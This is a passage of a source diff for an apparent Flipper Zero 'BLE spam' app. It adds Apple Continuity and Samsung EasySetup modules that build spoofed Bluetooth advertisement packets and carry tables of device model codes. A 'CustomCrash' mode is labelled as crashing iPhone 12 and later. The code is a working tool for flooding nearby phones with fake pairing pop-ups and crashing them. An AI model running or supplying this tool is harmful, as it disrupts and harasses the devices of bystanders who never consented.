item) { + ContinuityCfg* cfg = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + if(index) { + index--; + cfg->data.proximity_pair.prefix = pp_prefixes[index].value; + variable_item_set_current_value_text(item, pp_prefixes[index].name); + } else { + cfg->data.proximity_pair.prefix = 0x00; + variable_item_set_current_value_text(item, "Auto"); + } +} +static void na_action_changed(VariableItem* item) { + ContinuityCfg* cfg = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + if(index) { + index--; + cfg->data.nearby_action.action = na_actions[index].value; + variable_item_set_current_value_text(item, na_actions[index].name); + } else { + cfg->data.nearby_action.action = 0x00; + variable_item_set_current_value_text(item, "Random"); + } +} +static void continuity_extra_config(Ctx* ctx) { + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + VariableItemList* list = ctx->variable_item_list; + VariableItem* item; + size_t value_index; + + switch(cfg->type) { + case ContinuityTypeProximityPair: { + item = + variable_item_list_add(list, "Model Code", pp_models_count + 1, pp_model_changed, cfg); + const char* model_name = NULL; + char model_name_buf[5]; + if(cfg->data.proximity_pair.model == 0x0000) { + model_name = "Random"; + value_index = 0; + } else { + for(uint8_t i = 0; i < pp_models_count; i++) { + if(cfg->data.proximity_pair.model == pp_models[i].value) { + model_name = pp_models[i].name; + value_index = i + 1; + break; + } + } + if(!model_name) { + snprintf( + model_name_buf, sizeof(model_name_buf), "%04X", cfg->data.proximity_pair.model); + model_name = model_name_buf; + value_index = pp_models_count + 1; + } + } + variable_item_set_current_value_index(item, value_index); + variable_item_set_current_value_text(item, model_name); + + item = + variable_item_list_add(list, "Prefix", pp_prefixes_count + 1, pp_prefix_changed, cfg); + const char* prefix_name = NULL; + char prefix_name_buf[3]; + if(cfg->data.proximity_pair.prefix == 0x00) { + prefix_name = "Auto"; + value_index = 0; + } else { + for(uint8_t i = 0; i < pp_prefixes_count; i++) { + if(cfg->data.proximity_pair.prefix == pp_prefixes[i].value) { + prefix_name = pp_prefixes[i].name; + value_index = i + 1; + break; + } + } + if(!prefix_name) { + snprintf( + prefix_name_buf, + sizeof(prefix_name_buf), + "%02X", + cfg->data.proximity_pair.prefix); + prefix_name = prefix_name_buf; + value_index = pp_prefixes_count + 1; + } + } + variable_item_set_current_value_index(item, value_index); + variable_item_set_current_value_text(item, prefix_name); + break; + } + case ContinuityTypeNearbyAction: { + item = variable_item_list_add( + list, "Action Type", na_actions_count + 1, na_action_changed, cfg); + const char* action_name = NULL; + char action_name_buf[3]; + if(cfg->data.nearby_action.action == 0x00) { + action_name = "Random"; + value_index = 0; + } else { + for(uint8_t i = 0; i < na_actions_count; i++) { + if(cfg->data.nearby_action.action == na_actions[i].value) { + action_name = na_actions[i].name; + value_index = i + 1; + break; + } + } + if(!action_name) { + snprintf( + action_name_buf, + sizeof(action_name_buf), + "%02X", + cfg->data.nearby_action.action); + action_name = action_name_buf; + value_index = na_actions_count + 1; + } + } + variable_item_set_current_value_index(item, value_index); + variable_item_set_current_value_text(item, action_name); + + item = variable_item_list_add(list, "Flags", 0, NULL, NULL); + const char* flags_name = NULL; + char flags_name_buf[3]; + if(cfg->data.nearby_action.flags == 0x00) { + flags_name = "Auto"; + } else { + snprintf( + flags_name_buf, sizeof(flags_name_buf), "%02X", cfg->data.nearby_action.flags); + flags_name = flags_name_buf; + } + variable_item_set_current_value_text(item, flags_name); + break; + } + case ContinuityTypeCustomCrash: { + variable_item_list_add(list, "Lock+unlock helps to crash", 0, NULL, NULL); + variable_item_list_add(list, "Works on iPhone 12 and up", 0, NULL, NULL); + break; + } + default: + break; + } + + variable_item_list_set_enter_callback(list, config_callback, ctx); +} + +static uint8_t config_counts[ContinuityTypeCOUNT] = { + [ContinuityTypeAirDrop] = 0, + [ContinuityTypeProximityPair] = ConfigPpCOUNT - ConfigExtraStart - 1, + [ContinuityTypeAirplayTarget] = 0, + [ContinuityTypeHandoff] = 0, + [ContinuityTypeTetheringSource] = 0, + [ContinuityTypeNearbyAction] = ConfigNaCOUNT - ConfigExtraStart - 1, + [ContinuityTypeNearbyInfo] = 0, + [ContinuityTypeCustomCrash] = ConfigCcCOUNT - ConfigExtraStart - 1, +}; +static uint8_t continuity_config_count(const ProtocolCfg* _cfg) { + const ContinuityCfg* cfg = &_cfg->continuity; + return config_counts[cfg->type]; +} + +const Protocol protocol_continuity = { .icon = &I_apple, .get_name = continuity_get_name, .make_packet = continuity_make_packet, + .extra_config = continuity_extra_config, + .config_count = continuity_config_count, }; + +static void pp_model_callback(void* _ctx, uint32_t index) { + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + switch(index) { + case 0: + cfg->data.proximity_pair.model = 0x0000; + scene_manager_previous_scene(ctx->scene_manager); + break; + case pp_models_count + 1: + scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModelCustom); + break; + default: + cfg->data.proximity_pair.model = pp_models[index - 1].value; + scene_manager_previous_scene(ctx->scene_manager); + break; + } +} +void scene_continuity_pp_model_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + Submenu* submenu = ctx->submenu; + uint32_t selected = 0; + bool found = false; + submenu_reset(submenu); + + submenu_add_item(submenu, "Random", 0, pp_model_callback, ctx); + if(cfg->data.proximity_pair.model == 0x0000) { + found = true; + selected = 0; + } + for(uint8_t i = 0; i < pp_models_count; i++) { + submenu_add_item(submenu, pp_models[i].name, i + 1, pp_model_callback, ctx); + if(!found && cfg->data.proximity_pair.model == pp_models[i].value) { + found = true; + selected = i + 1; + } + } + submenu_add_item(submenu, "Custom", pp_models_count + 1, pp_model_callback, ctx); + if(!found) { + found = true; + selected = pp_models_count + 1; + } + + submenu_set_selected_item(submenu, selected); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); +} +bool scene_continuity_pp_model_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_continuity_pp_model_on_exit(void* _ctx) { + UNUSED(_ctx); +} + +static void pp_model_custom_callback(void* _ctx) { + Ctx* ctx = _ctx; + scene_manager_previous_scene(ctx->scene_manager); + scene_manager_previous_scene(ctx->scene_manager); +} +void scene_continuity_pp_model_custom_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + ByteInput* byte_input = ctx->byte_input; + + byte_input_set_header_text(byte_input, "Enter custom Model Code"); + + ctx->byte_store[0] = (cfg->data.proximity_pair.model >> 0x08) & 0xFF; + ctx->byte_store[1] = (cfg->data.proximity_pair.model >> 0x00) & 0xFF; + + byte_input_set_result_callback( + byte_input, pp_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 2); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); +} +bool scene_continuity_pp_model_custom_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_continuity_pp_model_custom_on_exit(void* _ctx) { + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + cfg->data.proximity_pair.model = (ctx->byte_store[0] << 0x08) + (ctx->byte_store[1] << 0x00); +} + +static void pp_prefix_callback(void* _ctx, uint32_t index) { + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + switch(index) { + case 0: + cfg->data.proximity_pair.prefix = 0x00; + scene_manager_previous_scene(ctx->scene_manager); + break; + case pp_prefixes_count + 1: + scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefixCustom); + break; + default: + cfg->data.proximity_pair.prefix = pp_prefixes[index - 1].value; + scene_manager_previous_scene(ctx->scene_manager); + break; + } +} +void scene_continuity_pp_prefix_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + Submenu* submenu = ctx->submenu; + uint32_t selected = 0; + bool found = false; + submenu_reset(submenu); + + submenu_add_item(submenu, "Automatic", 0, pp_prefix_callback, ctx); + if(cfg->data.proximity_pair.prefix == 0x00) { + found = true; + selected = 0; + } + for(uint8_t i = 0; i < pp_prefixes_count; i++) { + submenu_add_item(submenu, pp_prefixes[i].name, i + 1, pp_prefix_callback, ctx); + if(!found && cfg->data.proximity_pair.prefix == pp_prefixes[i].value) { + found = true; + selected = i + 1; + } + } + submenu_add_item(submenu, "Custom", pp_prefixes_count + 1, pp_prefix_callback, ctx); + if(!found) { + found = true; + selected = pp_prefixes_count + 1; + } + + submenu_set_selected_item(submenu, selected); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); +} +bool scene_continuity_pp_prefix_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_continuity_pp_prefix_on_exit(void* _ctx) { + UNUSED(_ctx); +} + +static void pp_prefix_custom_callback(void* _ctx) { + Ctx* ctx = _ctx; + scene_manager_previous_scene(ctx->scene_manager); + scene_manager_previous_scene(ctx->scene_manager); +} +void scene_continuity_pp_prefix_custom_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + ByteInput* byte_input = ctx->byte_input; + + byte_input_set_header_text(byte_input, "Enter custom Prefix"); + + ctx->byte_store[0] = (cfg->data.proximity_pair.prefix >> 0x00) & 0xFF; + + byte_input_set_result_callback( + byte_input, pp_prefix_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); +} +bool scene_continuity_pp_prefix_custom_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_continuity_pp_prefix_custom_on_exit(void* _ctx) { + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + cfg->data.proximity_pair.prefix = (ctx->byte_store[0] << 0x00); +} + +static void na_action_callback(void* _ctx, uint32_t index) { + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + switch(index) { + case 0: + cfg->data.nearby_action.action = 0x00; + scene_manager_previous_scene(ctx->scene_manager); + break; + case na_actions_count + 1: + scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaActionCustom); + break; + default: + cfg->data.nearby_action.action = na_actions[index - 1].value; + scene_manager_previous_scene(ctx->scene_manager); + break; + } +} +void scene_continuity_na_action_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + Submenu* submenu = ctx->submenu; + uint32_t selected = 0; + bool found = false; + submenu_reset(submenu); + + submenu_add_item(submenu, "Random", 0, na_action_callback, ctx); + if(cfg->data.nearby_action.action == 0x00) { + found = true; + selected = 0; + } + for(uint8_t i = 0; i < na_actions_count; i++) { + submenu_add_item(submenu, na_actions[i].name, i + 1, na_action_callback, ctx); + if(!found && cfg->data.nearby_action.action == na_actions[i].value) { + found = true; + selected = i + 1; + } + } + submenu_add_item(submenu, "Custom", na_actions_count + 1, na_action_callback, ctx); + if(!found) { + found = true; + selected = na_actions_count + 1; + } + + submenu_set_selected_item(submenu, selected); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); +} +bool scene_continuity_na_action_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_continuity_na_action_on_exit(void* _ctx) { + UNUSED(_ctx); +} + +static void na_action_custom_callback(void* _ctx) { + Ctx* ctx = _ctx; + scene_manager_previous_scene(ctx->scene_manager); + scene_manager_previous_scene(ctx->scene_manager); +} +void scene_continuity_na_action_custom_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + ByteInput* byte_input = ctx->byte_input; + + byte_input_set_header_text(byte_input, "Enter custom Action Type"); + + ctx->byte_store[0] = (cfg->data.nearby_action.action >> 0x00) & 0xFF; + + byte_input_set_result_callback( + byte_input, na_action_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); +} +bool scene_continuity_na_action_custom_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_continuity_na_action_custom_on_exit(void* _ctx) { + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + cfg->data.nearby_action.action = (ctx->byte_store[0] << 0x00); +} + +static void na_flags_callback(void* _ctx) { + Ctx* ctx = _ctx; + scene_manager_previous_scene(ctx->scene_manager); +} +void scene_continuity_na_flags_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + ByteInput* byte_input = ctx->byte_input; + + byte_input_set_header_text(byte_input, "Press back for automatic"); + + ctx->byte_store[0] = (cfg->data.nearby_action.flags >> 0x00) & 0xFF; + + byte_input_set_result_callback( + byte_input, na_flags_callback, NULL, ctx, (void*)ctx->byte_store, 1); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); +} +bool scene_continuity_na_flags_on_event(void* _ctx, SceneManagerEvent event) { + Ctx* ctx = _ctx; + if(event.type == SceneManagerEventTypeBack) { + ctx->byte_store[0] = 0x00; + } + return false; +} +void scene_continuity_na_flags_on_exit(void* _ctx) { + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + cfg->data.nearby_action.flags = (ctx->byte_store[0] << 0x00); +} diff --git a/applications/external/ble_spam/protocols/continuity.h b/applications/external/ble_spam/protocols/continuity.h index e40d3525e..cd505fc08 100644 --- a/applications/external/ble_spam/protocols/continuity.h +++ b/applications/external/ble_spam/protocols/continuity.h @@ -16,21 +16,21 @@ typedef enum { ContinuityTypeNearbyInfo = 0x10, ContinuityTypeCustomCrash, - ContinuityTypeCount + ContinuityTypeCOUNT } ContinuityType; typedef struct { ContinuityType type; union { struct { - uint8_t prefix; uint16_t model; + uint8_t prefix; } proximity_pair; struct { + uint8_t action; uint8_t flags; - uint8_t type; } nearby_action; } data; } ContinuityCfg; -extern const BleSpamProtocol ble_spam_protocol_continuity; +extern const Protocol protocol_continuity; diff --git a/applications/external/ble_spam/protocols/continuity_scenes.h b/applications/external/ble_spam/protocols/continuity_scenes.h new file mode 100644 index 000000000..f41c96cb4 --- /dev/null +++ b/applications/external/ble_spam/protocols/continuity_scenes.h @@ -0,0 +1,7 @@ +ADD_SCENE(continuity_pp_model, ContinuityPpModel) +ADD_SCENE(continuity_pp_model_custom, ContinuityPpModelCustom) +ADD_SCENE(continuity_pp_prefix, ContinuityPpPrefix) +ADD_SCENE(continuity_pp_prefix_custom, ContinuityPpPrefixCustom) +ADD_SCENE(continuity_na_action, ContinuityNaAction) +ADD_SCENE(continuity_na_action_custom, ContinuityNaActionCustom) +ADD_SCENE(continuity_na_flags, ContinuityNaFlags) diff --git a/applications/external/ble_spam/protocols/easysetup.c b/applications/external/ble_spam/protocols/easysetup.c new file mode 100644 index 000000000..98a9541de --- /dev/null +++ b/applications/external/ble_spam/protocols/easysetup.c @@ -0,0 +1,498 @@ +#include "easysetup.h" +#include "_protocols.h" + +// Hacked together by @Willy-JL and @Spooks4576 +// Research by @Spooks4576 + +const struct { + uint32_t value; + const char* name; +} buds_models[] = { + {0xEE7A0C, "Fallback Buds"}, + {0x9D1700, "Fallback Dots"}, + {0x39EA48, "Light Purple Buds2"}, + {0xA7C62C, "Bluish Silver Buds2"}, + {0x850116, "Black Buds Live"}, + {0x3D8F41, "Gray & Black Buds2"}, + {0x3B6D02, "Bluish Chrome Buds2"}, + {0xAE063C, "Gray Beige Buds2"}, + {0xB8B905, "Pure White Buds"}, + {0xEAAA17, "Pure White Buds2"}, + {0xD30704, "Black Buds"}, + {0x9DB006, "French Flag Buds"}, + {0x101F1A, "Dark Purple Buds Live"}, + {0x859608, "Dark Blue Buds"}, + {0x8E4503, "Pink Buds"}, + {0x2C6740, "White & Black Buds2"}, + {0x3F6718, "Bronze Buds Live"}, + {0x42C519, "Red Buds Live"}, + {0xAE073A, "Black & White Buds2"}, + {0x011716, "Sleek Black Buds2"}, +}; +const uint8_t buds_models_count = COUNT_OF(buds_models); + +const struct { + uint8_t value; + const char* name; +} watch_models[] = { + {0x1A, "Fallback Watch"}, + {0x01, "White Watch4 Classic 44"}, + {0x02, "Black Watch4 Classic 40"}, + {0x03, "White Watch4 Classic 40"}, + {0x04, "Black Watch4 44mm"}, + {0x05, "Silver Watch4 44mm"}, + {0x06, "Green Watch4 44mm"}, + {0x07, "Black Watch4 40mm"}, + {0x08, "White Watch4 40mm"}, + {0x09, "Gold Watch4 40mm"}, + {0x0A, "French Watch4"}, + {0x0B, "French Watch4 Classic"}, + {0x0C, "Fox Watch5 44mm"}, + {0x11, "Black Watch5 44mm"}, + {0x12, "Sapphire Watch5 44mm"}, + {0x13, "Purpleish Watch5 40mm"}, + {0x14, "Gold Watch5 40mm"}, + {0x15, "Black Watch5 Pro 45mm"}, + {0x16, "Gray Watch5 Pro 45mm"}, + {0x17, "White Watch5 44mm"}, + {0x18, "White & Black Watch5"}, + {0x1B, "Black Watch6 Pink 40mm"}, + {0x1C, "Gold Watch6 Gold 40mm"}, + {0x1D, "Silver Watch6 Cyan 44mm"}, + {0x1E, "Black Watch6 Classic 43mm"}, + {0x20, "Green Watch6 Classic 43mm"}, +}; +const uint8_t watch_models_count = COUNT_OF(watch_models); + +static const char* type_names[EasysetupTypeCOUNT] = { + [EasysetupTypeBuds] = "EasySetup Buds", + [EasysetupTypeWatch] = "EasySetup Watch", +}; +static const char* easysetup_get_name(const ProtocolCfg* _cfg) { + const EasysetupCfg* cfg = &_cfg->easysetup; + return type_names[cfg->type]; +} + +static uint8_t packet_sizes[EasysetupTypeCOUNT] = { + [EasysetupTypeBuds] = 31, + [EasysetupTypeWatch] = 15, +}; +void easysetup_make_packet(uint8_t* out_size, uint8_t** out_packet, const ProtocolCfg* _cfg) { + const EasysetupCfg* cfg = _cfg ? &_cfg->easysetup : NULL; + + EasysetupType type; + if(cfg) { + type = cfg->type; + } else { + type = rand() % EasysetupTypeCOUNT; + } + + uint8_t size = packet_sizes[type]; + uint8_t* packet = malloc(size); + uint8_t i = 0; + + switch(type) { + case EasysetupTypeBuds: { + uint32_t model; + if(cfg && cfg->data.buds.model != 0x000000) { + model = cfg->data.buds.model; + } else { + model = buds_models[rand() % buds_models_count].value; + } + + packet[i++] = 27; // Size + packet[i++] = 0xFF; // AD Type (Manufacturer Specific) + packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.) + packet[i++] = 0x00; // ... + packet[i++] = 0x42; + packet[i++] = 0x09; + packet[i++] = 0x81; + packet[i++] = 0x02; + packet[i++] = 0x14; + packet[i++] = 0x15; + packet[i++] = 0x03; + packet[i++] = 0x21; + packet[i++] = 0x01; + packet[i++] = 0x09; + packet[i++] = (model >> 0x10) & 0xFF; + packet[i++] = (model >> 0x08) & 0xFF; + packet[i++] = 0x01; + packet[i++] = (model >> 0x00) & 0xFF; + packet[i++] = 0x06; + packet[i++] = 0x3C; + packet[i++] = 0x94; + packet[i++] = 0x8E; + packet[i++] = 0x00; + packet[i++] = 0x00; + packet[i++] = 0x00; + packet[i++] = 0x00; + packet[i++] = 0xC7; + packet[i++] = 0x00; + + packet[i++] = 16; // Size + packet[i++] = 0xFF; // AD Type (Manufacturer Specific) + packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.) + // Truncated AD segment, Android seems to fill in the rest with zeros + break; + } + case EasysetupTypeWatch: { + uint8_t model; + if(cfg && cfg->data.watch.model != 0x00) { + model = cfg->data.watch.model; + } else { + model = watch_models[rand() % watch_models_count].value; + } + + packet[i++] = 14; // Size + packet[i++] = 0xFF; // AD Type (Manufacturer Specific) + packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.) + packet[i++] = 0x00; // ... + packet[i++] = 0x01; + packet[i++] = 0x00; + packet[i++] = 0x02; + packet[i++] = 0x00; + packet[i++] = 0x01; + packet[i++] = 0x01; + packet[i++] = 0xFF; + packet[i++] = 0x00; + packet[i++] = 0x00; + packet[i++] = 0x43; + packet[i++] = (model >> 0x00) & 0xFF; + break; + } + default: + break; + } + + *out_size = size; + *out_packet = packet; +} + +enum { + _ConfigBudsExtraStart = ConfigExtraStart, + ConfigBudsModel, + ConfigBudsInfoVersion, + ConfigBudsCOUNT, +}; +enum { + _ConfigWatchExtraStart = ConfigExtraStart, + ConfigWatchModel, + ConfigWatchCOUNT, +}; +static void config_callback(void* _ctx, uint32_t index) { + Ctx* ctx = _ctx; + EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup; + scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index); + switch(cfg->type) { + case EasysetupTypeBuds: { + switch(index) { + case ConfigBudsModel: + scene_manager_next_scene(ctx->scene_manager, SceneEasysetupBudsModel); + break; + case ConfigBudsInfoVersion: + break; + default: + ctx->fallback_config_enter(ctx, index); + break; + } + break; + } + case EasysetupTypeWatch: { + switch(index) { + case ConfigWatchModel: + scene_manager_next_scene(ctx->scene_manager, SceneEasysetupWatchModel); + break; + default: + ctx->fallback_config_enter(ctx, index); + break; + } + break; + } + default: + ctx->fallback_config_enter(ctx, index); + break; + } +} +static void buds_model_changed(VariableItem* item) { + EasysetupCfg* cfg = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + if(index) { + index--; + cfg->data.buds.model = buds_models[index].value; + variable_item_set_current_value_text(item, buds_models[index].name); + } else { + cfg->data.buds.model = 0x000000; + variable_item_set_current_value_text(item, "Random"); + } +} +static void watch_model_changed(VariableItem* item) { + EasysetupCfg* cfg = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + if(index) { + index--; + cfg->data.watch.model = watch_models[index].value; + variable_item_set_current_value_text(item, watch_models[index].name); + } else { + cfg->data.watch.model = 0x00; + variable_item_set_current_value_text(item, "Random"); + } +} +static void easysetup_extra_config(Ctx* ctx) { + EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup; + VariableItemList* list = ctx->variable_item_list; + VariableItem* item; + size_t value_index; + + switch(cfg->type) { + case EasysetupTypeBuds: { + item = variable_item_list_add( + list, "Model Code", buds_models_count + 1, buds_model_changed, cfg); + const char* model_name = NULL; + char model_name_buf[9]; + if(cfg->data.buds.model == 0x000000) { + model_name = "Random"; + value_index = 0; + } else { + for(uint8_t i = 0; i < buds_models_count; i++) { + if(cfg->data.buds.model == buds_models[i].value) { + model_name = buds_models[i].name; + value_index = i + 1; + break; + } + } + if(!model_name) { + snprintf(model_name_buf, sizeof(model_name_buf), "%06lX", cfg->data.buds.model); + model_name = model_name_buf; + value_index = buds_models_count + 1; + } + } + variable_item_set_current_value_index(item, value_index); + variable_item_set_current_value_text(item, model_name); + + variable_item_list_add(list, "Works on Android 13 and up", 0, NULL, NULL); + break; + } + case EasysetupTypeWatch: { + item = variable_item_list_add( + list, "Model Code", watch_models_count + 1, watch_model_changed, cfg); + const char* model_name = NULL; + char model_name_buf[3]; + if(cfg->data.watch.model == 0x00) { + model_name = "Random"; + value_index = 0; + } else { + for(uint8_t i = 0; i < watch_models_count; i++) { + if(cfg->data.watch.model == watch_models[i].value) { + model_name = watch_models[i].name; + value_index = i + 1; + break; + } + } + if(!model_name) { + snprintf(model_name_buf, sizeof(model_name_buf), "%02X", cfg->data.watch.model); + model_name = model_name_buf; + value_index = watch_models_count + 1; + } + } + variable_item_set_current_value_index(item, value_index); + variable_item_set_current_value_text(item, model_name); + break; + } + default: + break; + } + + variable_item_list_set_enter_callback(list, config_callback, ctx); +} + +static uint8_t config_counts[EasysetupTypeCOUNT] = { + [EasysetupTypeBuds] = ConfigBudsCOUNT - ConfigExtraStart - 1, + [EasysetupTypeWatch] = ConfigWatchCOUNT - ConfigExtraStart - 1, +}; +static uint8_t easysetup_config_count(const ProtocolCfg* _cfg) { + const EasysetupCfg* cfg = &_cfg->easysetup; + return config_counts[cfg->type]; +} + +const Protocol protocol_easysetup = { + .icon = &I_android, + .get_name = easysetup_get_name, + .make_packet = easysetup_make_packet, + .extra_config = easysetup_extra_config, + .config_count = easysetup_config_count, +}; + +static void buds_model_callback(void* _ctx, uint32_t index) { + Ctx* ctx = _ctx; + EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup; + switch(index) { + case 0: + cfg->data.buds.model = 0x000000; + scene_manager_previous_scene(ctx->scene_manager); + break; + case buds_models_count + 1: + scene_manager_next_scene(ctx->scene_manager, SceneEasysetupBudsModelCustom); + break; + default: + cfg->data.buds.model = buds_models[index - 1].value; + scene_manager_previous_scene(ctx->scene_manager); + break; + } +} +void scene_easysetup_buds_model_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup; + Submenu* submenu = ctx->submenu; + uint32_t selected = 0; + bool found = false; + submenu_reset(submenu); + + submenu_add_item(submenu, "Random", 0, buds_model_callback, ctx); + if(cfg->data.buds.model == 0x000000) { + found = true; + selected = 0; + } + for(uint8_t i = 0; i < buds_models_count; i++) { + submenu_add_item(submenu, buds_models[i].name, i + 1, buds_model_callback, ctx); + if(!found && cfg->data.buds.model == buds_models[i].value) { + found = true; + selected = i + 1; + } + } + submenu_add_item(submenu, "Custom", buds_models_count + 1, buds_model_callback, ctx); + if(!found) { + found = true; + selected = buds_models_count + 1; + } + + submenu_set_selected_item(submenu, selected); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); +} +bool scene_easysetup_buds_model_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_easysetup_buds_model_on_exit(void* _ctx) { + UNUSED(_ctx); +} + +static void buds_model_custom_callback(void* _ctx) { + Ctx* ctx = _ctx; + scene_manager_previous_scene(ctx->scene_manager); + scene_manager_previous_scene(ctx->scene_manager); +} +void scene_easysetup_buds_model_custom_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup; + ByteInput* byte_input = ctx->byte_input; + + byte_input_set_header_text(byte_input, "Enter custom Model Code"); + + ctx->byte_store[0] = (cfg->data.buds.model >> 0x10) & 0xFF; + ctx->byte_store[1] = (cfg->data.buds.model >> 0x08) & 0xFF; + ctx->byte_store[2] = (cfg->data.buds.model >> 0x00) & 0xFF; + + byte_input_set_result_callback( + byte_input, buds_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); +} +bool scene_easysetup_buds_model_custom_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_easysetup_buds_model_custom_on_exit(void* _ctx) { + Ctx* ctx = _ctx; + EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup; + cfg->data.buds.model = + (ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00); +} + +static void watch_model_callback(void* _ctx, uint32_t index) { + Ctx* ctx = _ctx; + EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup; + switch(index) { + case 0: + cfg->data.watch.model = 0x00; + scene_manager_previous_scene(ctx->scene_manager); + break; + case watch_models_count + 1: + scene_manager_next_scene(ctx->scene_manager, SceneEasysetupWatchModelCustom); + break; + default: + cfg->data.watch.model = watch_models[index - 1].value; + scene_manager_previous_scene(ctx->scene_manager); + break; + } +} +void scene_easysetup_watch_model_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup; + Submenu* submenu = ctx->submenu; + uint32_t selected = 0; + bool found = false; + submenu_reset(submenu); + + submenu_add_item(submenu, "Random", 0, watch_model_callback, ctx); + if(cfg->data.watch.model == 0x00) { + found = true; + selected = 0; + } + for(uint8_t i = 0; i < watch_models_count; i++) { + submenu_add_item(submenu, watch_models[i].name, i + 1, watch_model_callback, ctx); + if(!found && cfg->data.watch.model == watch_models[i].value) { + found = true; + selected = i + 1; + } + } + submenu_add_item(submenu, "Custom", watch_models_count + 1, watch_model_callback, ctx); + if(!found) { + found = true; + selected = watch_models_count + 1; + } + + submenu_set_selected_item(submenu, selected); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); +} +bool scene_easysetup_watch_model_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_easysetup_watch_model_on_exit(void* _ctx) { + UNUSED(_ctx); +} + +static void watch_model_custom_callback(void* _ctx) { + Ctx* ctx = _ctx; + scene_manager_previous_scene(ctx->scene_manager); + scene_manager_previous_scene(ctx->scene_manager); +} +void scene_easysetup_watch_model_custom_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup; + ByteInput* byte_input = ctx->byte_input; + + byte_input_set_header_text(byte_input, "Enter custom Model Code"); + + ctx->byte_store[0] = (cfg->data.watch.model >> 0x00) & 0xFF; + + byte_input_set_result_callback( + byte_input, watch_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); +} +bool scene_easysetup_watch_model_custom_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_easysetup_watch_model_custom_on_exit(void* _ctx) { + Ctx* ctx = _ctx; + EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup; + cfg->data.watch.model = (ctx->byte_store[0] << 